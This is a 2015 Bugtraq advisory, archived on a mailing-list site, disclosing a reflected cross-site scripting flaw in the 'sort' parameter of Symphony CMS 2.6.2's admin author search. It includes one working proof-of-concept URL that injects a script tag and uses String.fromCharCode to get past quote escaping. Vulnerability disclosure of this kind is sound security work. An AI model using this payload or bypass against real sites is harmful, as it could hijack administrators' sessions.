bugtraq - Symphony CMS 2.6.2

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 6 Jun 2015 04:50:15 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: Symphony CMS 2.6.2

[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-SYMPHONY0606.txt



Vendor:
================================
www.getsymphony.com/download/


Product:
================================
Symphony CMS 2.6.2


Advisory Information:
================================================
Symphony CMS XSS Vulnerability



Vulnerability Details:
=====================
The 'sort' parameter used by author search in Admin is XSS exploitable. Symphony seems to escape injected strings
e.g. 'HELL' becomes \'HELL\' but we can easily defeat that using Javascript functions charCodeAt() & fromCharCode()

e.g. 
String.fromCharCode(72,69,76,76)

Now we can output our 'HELL' strings, construct URLs etc... 


Exploit XSS code(s):
====================

http://localhost/symphony-2.6.2/symphony/system/authors/?sort=</h1><script>alert(String.fromCharCode(72,69,76,76))</script><h1>&order=asc
  

Disclosure Timeline:
=========================================================


Vendor Notification: June 5, 2015
June 6, : Public Disclosure



Severity Level:
=========================================================
Med



Description:
==========================================================

Request Method(s):
                                [+]  GET

Vulnerable Product:
                                [+]  Symphony CMS 2.6.2

Vulnerable Parameter(s):
                                [+]  sort

Affected Area(s):
                                [+]  symphony/system/authors/

===============================================================

(hyp3rlinx)